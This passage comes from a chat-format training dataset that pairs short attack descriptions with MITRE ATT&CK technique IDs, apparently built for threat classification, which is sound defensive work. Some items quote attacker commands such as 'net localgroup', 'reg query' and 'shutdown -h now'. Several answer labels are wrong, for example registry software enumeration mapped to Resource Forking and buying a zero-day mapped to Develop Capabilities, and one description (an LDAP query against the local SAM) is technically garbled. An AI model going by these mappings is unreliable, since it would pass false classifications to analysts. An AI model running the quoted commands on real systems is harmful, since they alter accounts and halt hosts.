                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a vulnerable API endpoint to upload a Trojan horse disguised as a PDF, which is later executed when opened by a user."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A benign‑looking document contains embedded code that is compiled after the document is opened, enabling hidden execution."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a crafted malicious Microsoft Office document, the actor exploits a CVE in the Office rendering engine to execute payloads on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised machine runs 'reg query HKLM\\SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters /v Domain' to find trusted domains."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes DNS tunneling combined with steganography, encoding data in the subdomain names of seemingly benign queries."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware utilizes JScript interpreter to execute encoded JavaScript payloads that create new user accounts."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a hidden container via Kubernetes pods to execute a ransomware payload on compromised servers."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accesses the Docker daemon's API over an insecure socket to pull environment variables that contain plaintext credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker takes over a virtual private server and deploys a botnet client on the host."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware establishes a persistent C2 channel by repeatedly sending HTTP POST requests to a compromised web service and reading the server's JSON responses for commands."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ a botnet to send a massive volume of HTTP GET requests to a public-facing service, overwhelming the application and causing it to crash."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant encodes its traffic with standard encoding to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Continuous brute‑force attempts on local authentication mechanisms overload the OS’s authentication subsystem, resulting in a DoS."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor drops a crafted .desktop file in /etc/xdg/autostart to achieve persistence across reboots on a GNOME system."
            },
            {
                "role": "assistant",
                "content": "T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware enumerated network shares and copied sensitive spreadsheets to a staging server."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes a custom script into /etc/rc.d/rcS that is executed during the boot process."
            },
            {
                "role": "assistant",
                "content": "T1037.004 - Boot or Logon Initialization Scripts: RC Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary purchases a list of corporate email addresses from a data broker and uses it for spear‑phishing."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker tracks the target’s patent filing dates and research milestones to infer research and development sprint schedules."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries register a new launchd plist on macOS to run a credential dumping tool at user login."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates the user's Documents and Desktop folders and copies all files to a staging area."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the net localgroup command, the intruder adds the created account to the Administrators group."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host runs a hidden command shell that is attached to the svchost.exe process, masking its presence in the process tree."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor extracts a token from LSASS and uses it to start a process with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Access Token Manipulation: Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised user account runs \"shutdown -h now\" on a Unix host, forcing an immediate halt of the system."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs a ListPlanting injection after gaining SYSTEM rights, inserting its payload into the kernel’s process object list."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates a staging directory on the victim machine to aggregate files prior to uploading them to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker issues Azure PowerShell commands to fetch all Azure AD groups and their members."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal hacks into a certificate issuance system to request a code signing certificate for a fake organization."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious CHM is delivered to the endpoint and opened with the Windows HTML Application Host, using the system binary as a conduit for code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By using sudo -v repeatedly, the malicious actor extends the sudo credential cache, avoiding re-authentication."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware abuses the LD_LIBRARY_PATH environment variable to point to a malicious library, causing the dynamic linker to execute attacker code."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After stealing credentials, the malware executes a batch file that erases all dump files from the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obtained write access to a SaaS application's plugin marketplace and uploaded a malicious plugin that gains persistence on all tenant environments."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages the Windows utility mshta.exe to run a VBScript embedded in an HTML document, achieving code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By granting Everyone full control over a software installer executable, the attacker injects a malicious payload that executes during the normal installation process."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script combines JScript and VBScript in a single file, using the VBScript portion to download a payload via HTTP."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing malware harvests saved Outlook profiles and transmits them to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary purchased a code signing certificate from an underground market after providing falsified corporate documentation."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware campaign operators lease a virtual private server to host a malicious cryptocurrency mining script."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages compromised personal devices to gain access to corporate networks through remote access solutions like VPNs or cloud services."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacker leverages a compromised Azure AD account to gain authorized access to cloud resources and modify configurations."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious group employed a malicious macro to download and upload a RAT binary into the victim's temporary folder via an HTTP POST request."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised system uses a web-based chat service to upload stolen data and receive further commands, establishing two-way communication."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs a technique where a DLL is loaded from a byte array in memory via reflection, avoiding any file system writes."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit Azure Virtual Desktop to open remote desktop sessions from compromised credentials, enabling command execution on target machines."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker drops a rogue DLL as a Windows Time Service provider to execute code each time the OS starts."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performs a LDAP query against the local SAM to enumerate permission groups on the host."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor sent malformed HTTP requests to a vulnerable web server, triggering a buffer overflow that granted them remote shell access."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor accesses a misconfigured ElasticSearch instance to dump logs that contain credentials."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor employs process hollowing by creating a new process in suspended state, replacing its memory with malicious code, then resuming it."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is delivered via a disguised MSI file that is launched using msiexec /quiet /passive, enabling the attacker to execute ransomware without alerting the user."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A weaponized document includes a binary payload that is deliberately padded with irrelevant bytes to disrupt sandbox detection."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a compromised USB thumb drive to deliver a secondary payload to isolated air-gapped systems within the network."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware opened a VNC port (5900) and awaited connections from the command-and-control server for interactive control."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised GPO to push a script that creates a domain account on all joined machines."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rootkit overwrites entries in the KernelCallbackTable to redirect system calls to malicious code."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs DNS queries at runtime to retrieve the IP address of its command‑and‑control server before establishing a connection."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A deceptive USB drive labeled as a driver installer is left in a public area, and when plugged in by an employee, runs an auto-run script."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group changed the registry settings via Group Policy to bypass security controls."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious CHM file is delivered via phishing email; once the user opens it, the embedded HTML component runs a hidden PowerShell script with system privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using ROMMONkit, threat actors modify the bootloader configuration to execute their payload during pre-OS boot."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary acquires a zero‑day exploit for a widely deployed web server and incorporates it into their toolkit to expand their exploit arsenal."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised USB device is left in a public area; when plugged in, it executes an autorun script that installs malware."
            },
            {
                "role": "assistant",
                "content": "T1650 - Acquire Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors duplicate and alter web session identifiers to gain access to accounts they do not own."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injects a payload by altering the KernelCallbackTable, causing the OS to invoke attacker‑controlled routines."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider modifies the binary of a proprietary CAD software to include a data exfiltration module before it is shipped to customers."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection queries the Windows Registry for installed software and writes the data to a log file."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor registers a permanent WMI event subscription that launches a malicious PowerShell payload whenever a new process is created on the host."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin rights, the attacker adds a service named 'svchost' that runs a custom script to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host runs a script that queries the Windows Registry for network interface information and routing tables."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code queues a payload using QueueUserAPC to execute within a remote thread’s asynchronous procedure call, hijacking the target process."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors compromise the UEFI Secure Boot mechanism, inserting unsigned code that runs during system startup before any OS components."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary drops a malicious root certificate into the Windows certificate store to intercept TLS traffic and gain persistent man‑in‑the‑middle capabilities."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits NTP servers to generate amplified traffic directed at a corporate network, leading to denial of service."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the pre-boot environment (ROMMON) to execute malicious scripts each time the device powers on."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group registers a batch of domain names that are typographical variations of the target's domain."
            },
            {
                "role": "assistant",
